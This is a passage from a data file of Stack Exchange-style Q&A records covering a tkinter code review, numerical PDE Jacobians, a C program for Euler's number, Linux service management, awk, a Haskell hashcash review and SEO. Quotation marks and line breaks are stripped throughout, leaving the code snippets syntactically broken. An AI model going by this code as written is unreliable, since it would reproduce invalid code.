bgLable.image = themeBGimage    #entryBGimage.config(image = themeBGimage)    #entryBGimage.image = themeBGimage    root.config(bg = mainBG)    root.text.config(bg = textBG, fg = txtColor)    root.textSideL.config(bg = textBG, fg = txtColor)    root.textSideR.config(bg = textBG, fg = txtColor)    searchEntry.config(fg = txtColor, bg = textBG)    keywordEntry.config(fg = txtColor, bg = textBG)    statusFrame.config(bg = textBG)    statusE.config(fg = txtColor, bg = textBG)    statusW.config(fg = txtColor, bg = textBG)    searchLabel.config(fg = txtColor, bg = textBG)    keywordLabel.config(fg = txtColor, bg = textBG)    UpdateKeywordsButton.config(fg = txtColor, bg = textBG)    try:        vScrollBar.destroy() #@UndefinedVariable        hScrollBar.destroy() #@UndefinedVariable        makeScrollBars(textBG, txtColor, mainBG)    except:        makeScrollBars(textBG, txtColor, mainBG)def makeScrollBars(textBG,txtColor,mainBG):    vScrollBar = scrollBarClass.MyScrollbar(textFrame, width=15, command=root.text.yview, troughcolor = textBG,                                            buttontype = 'square', thumbcolor = txtColor, buttoncolor = mainBG)    vScrollBar.grid(row = 0, column = 2, columnspan = 1, rowspan = 1, padx =0, pady =0, sticky = N+S+E)    root.text.configure(yscrollcommand=vScrollBar.set)    vScrollBar.config(background = mainBG)    #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    hScrollBar = scrollBarClass.MyScrollbar(textFrame, height=15, command=root.text.xview, orient='horizontal', troughcolor = textBG,                                            buttontype = 'square', thumbcolor = txtColor, buttoncolor = mainBG)    hScrollBar.grid(row = 1 , column = 0, columnspan = 1, rowspan = 1, padx =0, pady =0, sticky = S+W+E)    root.text.configure(xscrollcommand=hScrollBar.set)    hScrollBar.config(background = mainBG)def MintTheme1():    mainBGcolor = #%02x%02x%02x % (64,89,82)    textBGcolor = #%02x%02x%02x % (17,41,41)    txtColor = #%02x%02x%02x % (175, 167, 157)    bgimage=PhotoImage(file=./Colors/theme1bg.png)    MintThemeDefault(mainBGcolor,textBGcolor,txtColor,bgimage)def MintTheme2():    global currentTextColor    mainBGcolor = #%02x%02x%02x % (14, 51, 51)    textBGcolor = #%02x%02x%02x % (4, 22, 22)    txtColor = #%02x%02x%02x % (223, 171, 111)    bgimage=PhotoImage(file=./Colors/theme2bg.png)    MintThemeDefault(mainBGcolor,textBGcolor,txtColor,bgimage) #~~~~~~~~~~~~~~~~~~~< Menu function >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~def updateWorkingLibKeys(filename):    global currentWorkingLib,currentWorkingKeys    currentWorkingLib = {}_notes.format(filename).lower()    currentWorkingKeys = {}_keys.format(filename).lower()    update_kw_display()def libraryMenu():    menu = Menu(root)    root.config(menu=menu)    fileMenu = Menu(menu, tearoff=0)    menu.add_cascade(label=File, menu=fileMenu)    fileMenu.add_command(label=Save, command=doNothing)    fileMenu.add_command(label=Save As, command=doNothing)    fileMenu.add_separator()    fileMenu.add_command(label=Exit, command= closeprogram)    libMenu = Menu(menu, tearoff=0)    menu.add_cascade(label=Note Libraries, menu=libMenu)    libMenu.add_command(label=Library Help Page - Not Implemented Yet, command=doNothing)    libMenu.add_separator()    libMenu.add_command(label=New Library, command=new_lib_prompt)    libMenu.add_command(label=Lock Library - Not Implemented Yet, command=doNothing)    libMenu.add_command(label=Delete Library! - Not Implemented Yet, command=doNothing)    libMenu.add_separator()    prefMenu = Menu(menu, tearoff=0)    menu.add_cascade(label=Preferences, menu=prefMenu)    prefMenu.add_command(label=Mint Theme 1, command=MintTheme1)    prefMenu.add_command(label=Mint Theme 2, command=MintTheme2)    helpMenu = Menu(menu, tearoff=0)    menu.add_cascade(label=Help, menu=helpMenu)    helpMenu.add_command(label=Info, command=doNothing)    for filename in list_of_all_filenames:        libMenu.add_command(label = %s%(filename), command = lambda filename=filename: updateWorkingLibKeys(filename))libraryMenu()#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~textFrame = Frame(root, borderwidth = 0, highlightthickness = 0)textFrame.grid(row = 0, column = 1, columnspan = 1, rowspan = 2, padx =0, pady =0, sticky = W+E+N+S)textFrame.columnconfigure(0, weight=1)textFrame.rowconfigure(0, weight=1)textFrame.columnconfigure(1, weight=0)textFrame.rowconfigure(1, weight=0)entryFrame = Frame(root)entryFrame.grid(row = 0, column = 0, rowspan = 1, columnspan = 1, padx =0, pady =0, sticky = W+E+N+S)entryFrame.columnconfigure(0, weight=0)entryFrame.columnconfigure(1, weight=0)entryFrame.rowconfigure(0, weight=0)entryFrame.rowconfigure(1, weight=0)entryFrame.rowconfigure(2, weight=0)entryBGimage = Label(entryFrame, image= baseBGimage, borderwidth = 0, highlightthickness = 0)entryBGimage.image = baseBGimageentryBGimage.place(x = 0, y = 0)entryBGimage.config(image = baseBGimage)kwListFrame = Frame(root, borderwidth = 0, highlightthickness = 0)kwListFrame.grid(row = 1, column = 0, rowspan = 1, columnspan = 1, padx =0, pady =0, sticky = W+E+N+S)kwListFrame.columnconfigure(0, weight=1)kwBGimage = Label(kwListFrame, image= baseBGimage, borderwidth = 0, highlightthickness = 0)kwBGimage.image = baseBGimagekwBGimage.place(x = 0, y = 0)kwBGimage.config(image = baseBGimage)root.textSideL = Text(kwListFrame, width = 10, height = 20)root.textSideL.place( x = 5, y = 5)root.textSideL.config(wrap=NONE)root.textSideR = Text(kwListFrame,  width = 10, height = 20)root.textSideR.place( x = 95, y = 5)root.textSideR.config(wrap=NONE)statusFrame = Frame(root)statusFrame.config(bg = pyFrameColor)statusFrame.grid(row = 3, column = 0, rowspan = 3, columnspan = 2, padx =0, pady =0, sticky = W+E+N+S)statusFrame.columnconfigure(0, weight=1)statusFrame.columnconfigure(1, weight=1)statusFrame.rowconfigure(0, weight=0)root.text = Text(textFrame, undo = True)root.text.grid(row = 0, column = 0, rowspan = 1, columnspan = 1, padx =0, pady =0, sticky = W+E+N+S)root.text.config(bg = pyFrameColor, fg = white, font=('times', 16), insertbackground = orange)root.text.config(wrap=NONE)#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~statusW = Label(statusFrame, font=(times, 16, bold), fg = white, bg = black, relief = SUNKEN, anchor = W)statusW.grid(row = 0, column = 0, padx =1, pady =1, sticky = W+S)statusW.config(text = Operation Status, bg = #%02x%02x%02x%(0, 23, 45))statusE = Label(statusFrame, font=(times, 16, bold), fg = white, bg = black, relief = SUNKEN, anchor = E)statusE.grid(row = 0, column = 1, padx =1, pady =1, sticky = E+S)statusE.config(bg = #%02x%02x%02x%(0, 23, 45))#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~searchLabel = Label(entryFrame)searchLabel.grid(row = 1, column = 0, padx =5, pady=5)searchLabel.config(text=Search Text Field)searchEntry = Entry(entryFrame, width = 20)searchEntry.bind(<Return>, searchTextbox)searchEntry.grid(row = 1, column = 1, padx =5, pady=5)keywordLabel = Label(entryFrame)keywordLabel.grid(row = 0, column = 0, padx =5, pady=5)keywordLabel.config(text=Keyword Search)keywordEntry = Entry(entryFrame, width = 20)keywordEntry.bind(<Return>, kw_entry)keywordEntry.grid(row = 0, column = 1, padx =5, pady=5)UpdateKeywordsButton = tkinter.Button(entryFrame, fg = 'Black', bg = 'Orange', text = Update Notes, command = append_notes)UpdateKeywordsButton.grid(row = 2, column = 0, padx =5, pady =5)MintThemeDefault(#%02x%02x%02x%(64,89,82),#%02x%02x%02x%(0, 23, 45),#%02x%02x%02x%(175, 167, 157),PhotoImage(file=./Colors/pybgbase.png))#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~status_time = def tick():    global status_time    time2 = time.strftime(%H:%M:%S)    if time2 != status_time:        status_time = time2        statusE.config(text=time2+  Preparing to do nothing...)    statusE.after(200, tick)tick()#~~~~~~~~~~~~~~~~~~~< root Main Loop >~~~~~~~~~~~~~~~~~~~~~~~~~~~~root.mainloop()"  , "title": "Custom scrollbar"  , "tags": "python;tkinter"  , "accepted_answer": "Idiomatic Python:The only lines that should be outside a method or class are global imports and these:if __name__ == '__main__':    sys.exit(main())this makes it much easier to understand what the state is once the program starts, and makes it easier to follow as it changes while going through the code. As it stands I can't see the relationship between the top-level variables at a glance.Avoid globals.Use readable names. Names like ihnb are WTF moments waiting to happen.Is it intentional that searchTextBox's event parameter defaults to null? Unless you know it will be called without a parameter it should not be defaulted.Putting Class as a suffix in a class name is redundant.The various GUI elements should be put together in an object.trying to interact with possibly undefined variables is a definite code smell, indicating that the flow of your program is weird. Manually destroying objects is another smell in garbage collected languages like Python. Sometimes it is necessary, but most of the time you should be able to stamp over variables (or use with statements) without fear that your application will leak resources.PEP8 stuff:Variable names should be all_lower_case_and_underscore_separated.This and various other stuff will be reported by the pep8 tool.Personal preference:You should not have commented code in checked in code.I never import * from third party code and usually not even from my own libraries, to avoid polluting the name space and possibly creating collisions. root = tkinter.Tk() allows a reader to know instantly that it's an object based on outside code as opposed to something in the same file.Nested if statements can easily be pulled out as methods, clearing up the code.Comments should not include fancy separators. Those were only really necessary in the days of editors which didn't support code highlighting, and nowadays just distract from the content."  } 
{  "id": "_scicomp.8221"  , "question": "I am solving a coupled system of non-linear PDEs in 1D. Something like,$$u_t = F_1(u,v,w) \\\\v_t = F_2(u,v,w) \\\\w_t = F_3(u,v,w)$$where each variable is a function of $x$ (the spatial dimension).So for each point in space I wish to calculate the Jacobian of the vector,$$\\boldsymbol{F} = \\pmatrix{F_1(u,v,w) \\\\ F_2(u,v,w) \\\\ F_3(u,v,w)}$$QuestionShould I use the PDEs themselves as a starting point to calculate the Jacobian, or is it better to use the discretised form of the equations?I ask because the equations are very unstable without using exponential fitting, so the discretised form is quite non-trivial. My intuition is that Jacobian should follow from the discretised form as this seems more consistent. Is there a standard approach?For example, if I were to start with the discretised form, I would simply partially differentiate each term with respect to the appropriate variable."  , "title": "Should the Jacobian of a system of PDEs be calculated from the main equations of the discretised equation?"  , "tags": "discretization;nonlinear equations;newton method"  , "accepted_answer": "If you need Jacobian matrix information for a numerical method, you should calculate the Jacobian matrix of the discretized form of the equations, since that will be consistent with the discretized equations you are solving."  } 
{  "id": "_datascience.10466"  , "question": "If I create a barplot using Seaborn and specify the geometric mean or the median as the estimator, does Seaborn know to use the appropriate standard error formula to create error bars?"  , "title": "How does Seaborn calculate error bars when using estimators other than the arithmetic mean?"  , "tags": "python;pandas;descriptive statistics"  } 
{  "id": "_computerscience.3967"  , "question": "I need a lot of real time rendered images and real images where it's recorded which one is which to prove either way whether existing gaming computers have the hardware to be photo-realistic to someone I know (which they will have if they're unable to tell the difference, statistically) at their best. Please can someone link me to what I'm looking for? Thank you."  , "title": "Photo-realism blind experiment"  , "tags": "rendering"  } 
{  "id": "_codereview.33015"  , "question": "I was trying to post this code to a Wikipedia article, but it was soon removed.  I then asked about the code in the page's talk section, and some other contributors said that is was very poor  and that there are clearly going to be underflows all over the place.  What does that mean?  What is an underflow? Could you please tell me more about my program's flaws and how it can be improved?  Please give me some constructive criticism.  Here is where I originally posted the code.#include <stdio.h>long factorial(int n) {    long result = 1;    for (int i = 1; i <= n; ++i)    result *= i;    return result;}int main (){    double n=0;    int i;    for (i=0; i<=32; i++) {        n=(1.0/factorial(i))+n;    }    printf(%.32f\\n, n);}Here is the result of the program 2.71828182845904553488480814849027"  , "title": "Why is my C program for calculating Euler's constant of poor quality?"  , "tags": "c;algorithm;mathematics;floating point"  , "accepted_answer": "If you're to implement something like this, you should first learn about how these things are done. I hope this doesn't sound too harsh. To explain it better, here is my variant of your code, with comparison to what C computes as e using expl(1):#include <stdio.h>#include <math.h>int main (){    long double n = 0, f = 1;    int i;    for (i = 28; i >= 1; i--) {        f *= i;  // f = 28*27*...*i = 28! / (i-1)!        n += f;  // n = 28 + 28*27 + ... + 28! / (i-1)!    }  // n = 28! * (1/0! + 1/1! + ... + 1/28!), f = 28!    n /= f;    printf(%.64llf\\n, n);    printf(%.64llf\\n, expl(1));    printf(%llg\\n, n - expl(1));    printf(%d\\n, n == expl(1));}Output:2.71828182845904523542816810799394033892895095050334930419921875002.718281828459045235428168107993940338928950950503349304199218750001There are two important changes to your code:This code doesn't compute 1, 1*2, 1*2*3,... which is O(n^2), but computes 1*2*3*... in one pass (which is O(n)).It starts from smaller numbers. Let us, for a moment, assume that your factorials are correct (see below). When you compute1/1 + 1/2 + 1/6 + ... + 1/20!and try to add it 1/21!, you are adding1/21! = 1/51090942171709440000 = 2E-20,to 2.something, which has no effect on the result (double holds about 16 significant digits). This effect is called underflow.However, had you started with these numbers, i.e., if you computed 1/32!+1/31!+... they would all have some impact.Notice that 32! needs 118 bits, i.e., 15 bytes. Your long type doesn't hold as much (the standard says at least 32 bits; it's not likely it will hold more than 64). If we add printf(%ld\\n, factorial(i)); to your main for-loop, we see the factorials:1262412072050404032036288036288003991680047900160062270208008717829120013076743680002092278988800035568742809600064023737057280001216451004088320002432902008176640000-4249290049419214848-12506607186749685768128291617894825984-78351859813292441607034535277573963776-1569523520172457984-5483646897237262336-5968160532966932480-7055958792655077376-87645789688472535044999213071378415616-6045878379276664832See the negatives? That's when your (long) integer grew too much and restarted from its lowest possible value. Read about overflows; it's important to understand them.By the way, I'm getting the same result (on my computer) even if I replace long with long long (and apply the proper printf format %lld).Computing this kind of stuff is complex, and takes quite a bit of knowledge about how the numbers are stored in the computer, as well as the numerical mathematics and the mathematical analysis. I don't consider myself an expert, so so there might be more to this problem than what I've wrote. However, my solution seems in accordance to what C computes with its expl function, on my 64bit machine, compiled with gcc 4.7.2 20120921."  } 
{  "id": "_cogsci.8856"  , "question": "I am looking to replicate the findings of Leder, forster, and Gerger (2011) in their publication of the glasses stereotype revisited.I intend to examine the same conditions of no-glasses, rimmed glasses, and rimless glasses, whilst adding an extra condition of sunglasses.Currently my struggle is finding a facial database that has identical pre-rated images for each condition. I am hoping to avoid taking my own images, as I would then have to score and test them for neutraL facial expressions as well as make sure that I limit the possibility of previous/ future exposure between models and participants, as they will be rated on percieved intelligence, attractiveness, trustworthiness, and success. If anyone is able to point out some possibilities that would be great. I have found somewith either, glasses present vs glasses not present, and some with sunglasses present vs sunglasses not present, but no unified database with identical models for each condition.ReferenceLeder, H., Forster, M., & Gerger, G. (2011). The glasses stereotype revisited: Effects of glasses on perception, recognition and impressions of faces. Swiss Journal of Psychology, 70: pp. 211222.DOI: 10.1024/1421-0185/a000059"  , "title": "Where to find images of the same faces with and without glasses for experiment?"  , "tags": "cognitive psychology;social psychology;perception;data"  } 
{  "id": "_webmaster.29615"  , "question": "Possible Duplicate:How to find web hosting that meets my requirements? I'm starting to come under the impression that just about every competent webmaster is using a vps. I'm not quite there yet, but I still want a decent job done hosting my website. I'm currently using asmallorange.com based on someone's suggestion, but I'm starting to regret the decision. Searching things like web hosts or web host reviews yields results on Google, but I have no basis to trust those results. So, is there a reliable, trusted website or article that I can read about webhosts?"  , "title": "What's a reliable way to find a webhost?"  , "tags": "web hosting;looking for hosting"  } 
{  "id": "_unix.244097"  , "question": "How do I add repositories in Kali Linux 2.0, and what, if any are the repercussions of doing so?"  , "title": "Add repositories in Kali Linux 2.0"  , "tags": "apt;package management;kali linux"  } 
{  "id": "_unix.267540"  , "question": "I have 4 text files in my unix system want to put data into a xls file and send it via mail.text1.txt:100150130120110text2.txt:200230240250260......so on ...I want to have text1.txt file data in first column, text2.txt file data in second column and finally on the end want the summation of data in each row."  , "title": "text to xls file creation"  , "tags": "shell script;csv;spreadsheet"  } 
{  "id": "_unix.144594"  , "question": "Terminator 0.95 (running on Debian stable under Gnome) has shortcuts for Spawn a new Terminator process and Create a new window. However, when I set them (to several different options, in case there is a conflict) and try to use, instead of a new window I get a lightbulb in the header of the current tab. There are no error messages in the terminal I am running Terminator from, but looking again at keybindings, the shortcuts become disabled. Trying to use the shortcut without closing the preferences window didn't work either.What does it mean and how can I avoid it?"  , "title": "Terminator doesn't open new window"  , "tags": "gnome terminator"  , "accepted_answer": "Looking at ~/.config/terminator/config, for some reason it was using <Primary> instead of <Ctrl>. After deleting the keybindings section, the original shortcut Shift+Ctrl+I for new window works."  } 
{  "id": "_unix.286440"  , "question": "I use CrashPlan on my Debian 8 desktop.  I have a script where I must stop the CrashPlan service at the beginning and then start it before exiting.  I was using /etc/init.d/crashplan startfor the restart but the new CrashPlan process was exiting at the termination of my script.  I switched to service crashplan startand all is well!Oddly, under Ubuntu 16.04 on another box, the init.d script/command behaves as desired.  When my script exits, CrashPlan continues to run. Welp, now Ubuntu is giving me the same issues.My Debian script is now functional.  But I was under the impression that the service command was on the way to deprecation, so I am puzzled by the differences, both between init.d and service, and between the current releases of Debian and Ubuntu."  , "title": "service {FOO} start vs. /etc/init.d/{FOO} start?"  , "tags": "debian;ubuntu;services;init.d"  , "accepted_answer": "On any system using systemd, running an init.d script directly won't be the best way to start a service, since it will bypass all settings and bookkeeping usually done by systemd itself. Also, you might not even have an init script, the service might be described only in a unit file. With old-style sysvinit there was not much bookkeeping to do: starting a service was about the same as just running a script. That doesn't mean it was a good idea to the init script directly, the description in the man page of service tells you why:service runs a System V init script or upstart job in as  predictable an environment as possible, removing most environment  variables and with the current working directory set to /.A random shell is not a very predictable environment, you could have e.g. file or process limits active.As for deprecation, perhaps you should use systemctl, but on Debian service actually tries to do the right thing and runs systemctl for you. (Let's just say that if service is deprecated, then running an init script directly is even more so.)(I'm not enough of a systemd expert to tell you what exactly kills the service if you run the init script directly. That also depends on what runs the script you are running: from cron, from the command line, from something else...)"  } 
{  "id": "_unix.243372"  , "question": "Below is my command output. When I process it through awk, it is giving unwanted output. What am I doing wrong?    # lvdisplay -m          --- Logical volume ---          LV Name                /dev/Appsvg/apps01          VG Name                Appsvg          LV UUID                TckScf-LXdY-BvU1-NGhQ-5vUQ-KoNz-Uus1Of          LV Write Access        read/write          LV Status              available          # open                 1          LV Size                15.00 GB          Current LE             3840          Segments               1          Allocation             inherit          Read ahead sectors     auto          - currently set to     256          Block device           253:0          --- Segments ---          Logical extent 0 to 3839:            Type                linear            Physical volume     /dev/emcpoweraq            Physical extents    0 to 3839          --- Logical volume ---          LV Name                /dev/Appsvg/apps02          VG Name                Appsvg          LV UUID                FcMopR-57MH-aTrT-3bq2-wUJZ-blEI-161Ivz          LV Write Access        read/write          LV Status              available          # open                 1          LV Size                10.00 GB          Current LE             2560          Segments               1          Allocation             inherit          Read ahead sectors     auto          - currently set to     256          Block device           253:1          --- Segments ---          Logical extent 0 to 2559:            Type                linear            Physical volume     /dev/emcpoweraq            Physical extents    3840 to 6399          --- Logical volume ---          LV Name                /dev/Appsvg/apps03          VG Name                Appsvg          LV UUID                Ji4ldh-2ffZ-9qmb-BVaz-rwYd-f9HQ-2imPYG          LV Write Access        read/write          LV Status              available          # open                 1          LV Size                20.00 GB          Current LE             5120          Segments               1          Allocation             inherit          Read ahead sectors     auto          - currently set to     256          Block device           253:2          --- Segments ---          Logical extent 0 to 5119:            Type                linear            Physical volume     /dev/emcpoweraq            Physical extents    6400 to 11519    # lvdisplay -m|awk '/(LV Name)/{l=$3} /(Physical volume)/{p=$3} {print l,p;}'    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01    /dev/Appsvg/apps01 /dev/emcpoweraq    /dev/Appsvg/apps01 /dev/emcpoweraq    /dev/Appsvg/apps01 /dev/emcpoweraq    /dev/Appsvg/apps01 /dev/emcpoweraq    /dev/Appsvg/apps01 /dev/emcpoweraq    /dev/Appsvg/apps02 /dev/emcpoweraq    /dev/Appsvg/apps02 /dev/emcpoweraq    /dev/Appsvg/apps02 /dev/emcpoweraq    /dev/Appsvg/apps02 /dev/emcpoweraq    /dev/Appsvg/apps02 /dev/emcpoweraq    ................. output snipped.......    enter code hereI am looking forward to see the LV Name & Physical volume only. This means one entry should be visible only one time. The output I am expecting is as below:/dev/Appsvg/apps01 /dev/emcpoweraq/dev/Appsvg/apps02 /dev/emcpoweraq/dev/Appsvg/apps03 /dev/emcpoweraq"  , "title": "awk is not producing the desired output"  , "tags": "text processing;awk"  , "accepted_answer": "If I'm guessing correctly, you just need an extra set of curly braces to combine the last two statements (p=$3 and print l,p):                                                           /-     HERE    -\\                                                          \\/               \\/lvdisplay -m | awk '/(LV Name)/{l=$3} /(Physical volume)/{{p=$3} {print l,p;}}'To Ulrich Schwarz's comment, more obvious may be:lvdisplay -m | awk '/(LV Name)/{l=$3} /(Physical volume)/{p=$3; print l,p;}'The awk command from your question was assigning l and p as expected, but print l,p had no condition before it, so it was being executed on every line."  } 
{  "id": "_codereview.152479"  , "question": "A thought exercise on my part as I'm relatively new to Haskell. I wanted an interesting project to work on so I decided to implement the Hashcash Algorithm, which is most commonly used as the basis of Bitcoin Proof of Work scheme.  I am implementing the original specification that utilizes SHA1 and the description of the algorithmic steps are described well in the above Wikipedia article.This appears to function correctly to the best of my knowledge, however I feel it is somewhat slower than it should be.  Any potential suggestions for performance improvements are welcome here.  Furthermore,  as I am new to writing Haskell, if I am violating common expected conventions here then please feel free to point out how I can write more readable and standard code here.{-# LANGUAGE BangPatterns #-}module HashCash whereimport Data.Intimport Data.Listimport Data.List.Split (splitOn)import Data.Charimport Data.Functionimport System.Randomimport Data.Bitsimport Data.Eitherimport Data.Binary.Strict.Getimport System.IO as SIOimport Data.Word (Word32)import Data.ByteString as Bimport Data.ByteString.Char8 as BCimport Data.ByteString.UTF8 as BUimport Data.ByteString.Base64 as B64import Data.ByteString.Conversion as BCONimport Data.ByteArray as BAimport Crypto.Randomimport Crypto.HashstartingCounter :: Int32startingCounter = 1difficulty :: Intdifficulty = 20headerPrefix = X-Hashcash: template = 1:{:{:{::{:{dateTemplate = YYMMDDhhmmssaddress = a@a-- example date because I dont want to mess with date formatting just nowexampleDate = 150320112233convertToString :: ByteString -> StringconvertToString b = BU.toString bconvertFromString :: String -> ByteStringconvertFromString s = BU.fromString sconvertIntToString :: Int -> StringconvertIntToString a = convertToString . BCON.toByteString' $ aencodeInt32 :: Int32 -> ByteStringencodeInt32 a = B64.encode . BCON.toByteString' $ amahDecoder :: Get Word32mahDecoder = do  first32Bits <- getWord32be  return first32BitsfirstBitsZero :: (Bits a) => a -> BoolfirstBitsZero val = Data.List.foldr (\\x acc -> ((not $ testBit val x) && acc)) True [0..(difficulty - 1)]formatTemplate :: String -> [String] -> StringformatTemplate base [] = baseformatTemplate base (x:xs) =    let splix = (Data.List.Split.splitOn { base) :: [String]       splixHead = Data.List.head splix ++ x       splixTail = Data.List.tail splix       concatSplitTail = Data.List.init $ Data.List.concatMap (++ {) splixTail   in formatTemplate (splixHead ++ concatSplitTail) xsget16RandomBytes :: (DRG g) => g -> IO (ByteString, g)get16RandomBytes gen = do  let a = randomBytesGenerate 16 gen  return $ agetBaseString :: ByteString -> Int32 -> StringgetBaseString bs counter =   let encodedVal = B64.encode bs      encodedCounter = encodeInt32 counter      baseParams = [(convertIntToString difficulty), exampleDate, address, (convertToString encodedVal), (convertToString encodedCounter)]  in formatTemplate template baseParamshashSHA1Encoded :: ByteString -> ByteStringhashSHA1Encoded bs =  let hashDigest = hash bs :: Digest SHA1      byteString = B.pack . BA.unpack $ hashDigest  in byteString-- Pass a counter and if the first 20 bits are zero then return the same counter value else increment it-- signifying it is time to test the next number (NOTE: recursive style, may overflow stack)testCounter :: ByteString -> Int32 -> Int32testCounter rb !counter =   let baseString = getBaseString rb counter      hashedString = hashSHA1Encoded $ convertFromString baseString      !eitherFirst32 = runGet mahDecoder hashedString      incCounter = counter + 1  in case eitherFirst32 of    (Left first32, _) -> testCounter rb incCounter    (Right first32, _) -> if (firstBitsZero first32)                           then counter                           else testCounter rb incCountertestCounterBool :: ByteString -> Int32 -> BooltestCounterBool rb counter =  let baseString = getBaseString rb counter      hashedString = hashSHA1Encoded $ convertFromString baseString      eitherFirst32 = runGet mahDecoder hashedString  in case eitherFirst32 of    (Left first32, _) -> False    (Right first32, _) -> firstBitsZero first32-- Keep taking incrementing counters from an infinite list and testing them until we find a counter -- that generates a valid headerfindValidCounter :: ByteString -> Int32findValidCounter ran = Data.List.last $ Data.List.takeWhile (not . testCounterBool ran) [1..]generateHeader :: IO StringgenerateHeader = do  g <- getSystemDRG  (ran, _) <- get16RandomBytes g  let validCounter = findValidCounter ran  let validHeader = getBaseString ran validCounter  return $ headerPrefix ++ validHeadermain :: IO ()main = do   header <- generateHeader  SIO.putStrLn header  return ()"  , "title": "HashCash Algorithm header generation in Haskell"  , "tags": "performance;beginner;haskell"  , "accepted_answer": "That's a lot of imports, and several seem strange. For example Data.List, since you only use head, tail, foldr or other Prelude functions. The problem is that you've use as, but left the qualified. This should be:import           Crypto.Hashimport           Crypto.Randomimport           Data.Binary.Strict.Getimport           Data.Bitsimport           Data.ByteString (ByteString)import qualified Data.ByteArray as BAimport qualified Data.ByteString as Bimport qualified Data.ByteString.Base64 as B64import qualified Data.ByteString.Char8 as BCimport qualified Data.ByteString.Conversion as BCONimport qualified Data.ByteString.UTF8 as BUimport           Data.Either (either)import           Data.Int (Int32)import           Data.List.Split (splitOn)import           Data.Word (Word32)import           System.Randomqualified will prevent names like head from Data.ByteString getting imported into the global namespace. See import for more information. The whitespace is purely custom. I like to sort the modules by name, but that's up to you.Next, I would make clear that your convert* functions are only new names, e.g.:convertToString :: ByteString -> StringconvertToString = BU.toStringconvertFromString :: String -> ByteStringconvertFromString = BU.fromStringconvertIntToString :: Int -> StringconvertIntToString = convertToString . BCON.toByteString' encodeInt32 :: Int32 -> ByteStringencodeInt32 = B64.encode . BCON.toByteString' mahDecoder :: Get Word32mahDecoder = getWord32beThe mahDecoder change is a little bit different, since you've used originally something likefoo = do  x <- func  return xHowever, this is fine due to the right-identity monad law:func >>= return === funcNext, firstBitsZero can be rewritten using all:firstBitsZero :: (Bits a) => a -> BoolfirstBitsZero val = all (\\x -> not $ testBit val x) [0..(difficulty - 1)]Note that a bit mask would be faster would make it faster, e.g.:bitMask :: Num a => abitMask = (2 ^ difficulty) - 1firstBitsZero :: Int32 -> Bool    firstBitsZero val = bitMask .&. val == zeroBitsThat way you only have to create the mask once and then only use bitwise AND, which usually gets compiled into a single CPU instruction.When working with list, you want to add elements at the front, not at the back. Instead ofinit (concatMap (++ {) splixTail)you should usetail (concatMap ('{' :) splixTail)The problem is that ++ is linear in its first argument:(x:xs) ++ ys = x : (xs ++ ys)(:) on the other hand is constant in terms of time. We end up with:formatTemplate :: String -> [String] -> StringformatTemplate base [] = baseformatTemplate base (x:xs) =    let (splixHead:splixTail) = splitOn { base       concatSplitTail       = tail $ concatMap ({ :) splixTail   in formatTemplate (splixHead ++ (x : concatSplitTail)) xsYour next function doesn't need to be in IO:get16RandomBytes :: (DRG g) => g -> (ByteString, g)get16RandomBytes = randomBytesGenerate 16 In your following functions, I would prefer to use where, but that's completely up to personal preference. Also, if you use an expression only once, it might make sense to get rid of its binding if the code stays readable:hashSHA1Encoded :: ByteString -> ByteStringhashSHA1Encoded bs = B.pack . BA.unpack $ (hash bs :: Digest SHA1)orhashSHA1Encoded :: ByteString -> ByteStringhashSHA1Encoded bs = B.pack . BA.unpack $ hashDigest  where    hashDigest = hash bs :: Digest SHA1Both testCounter and testCounterBool use some duplicate code, which should be placed in its own function:decodeFirst32 :: ByteString -> Int32 -> Either String Word32decodeFirst32 rb = fst . runGet mahDecoder . hashSHA1Encoded . convertFromString . getBaseString rbThis makes testCounter and testCounterBool a lot simpler:testCounter :: ByteString -> Int32 -> Int32testCounter rb !counter =   case decodeFirst32 rb counter of    Right f32 | firstBitsZero f32 -> counter    _                             -> testCounter rb (counter + 1)testCounterBool :: ByteString -> Int32 -> BooltestCounterBool rb counter = either (const False) firstBitsZero $ decodeFirst32 rb counterWith findValidCounter, I'm somewhat sure that your logic isn't 100% correct. According to the documentation, you check with increasing counters, but last . takeWhile p will take the last element for which p holds. Since p = not . testCounterBool ran, you will end up with the last element for which testCounterBool ran does not hold.Either way, if you look for the first element that holds a predicate, you can use find from Data.List instead:findValidCounter ran = fromJust $ find (testCounterBool ran) [1..]    Given the changes with get16RandomBytes, we end up withgenerateHeader :: IO StringgenerateHeader = do  (ran, _) <- fmap get16RandomBytes getSystemDRG  let validCounter = findValidCounter ran  let validHeader = getBaseString ran validCounter  return $ headerPrefix ++ validHeader"  } 
{  "id": "_webmaster.101882"  , "question": "I am using a CMS which shows two links for the same page.Example:example.com/personalexample.com/personal/index.htmlexample.com/personal/index.html?abc=1Is this ok? Or do search engines penalize me for this?"  , "title": "Different URLs pointing to same page okay for SEO?"  , "tags": "seo;url"  , "accepted_answer": "This is not a good practice. For Google, these are 3 different URLs and they all have the same content. I would suggest using Canonical URL to avoid the Duplicate content issue.Here is the official documentation by Google about the Duplicate content.https://support.google.com/webmasters/answer/66359?hl=enAlso, read Moz's Guide about avoiding description. https://moz.com/blog/duplicate-content-in-a-post-panda-world"  } 
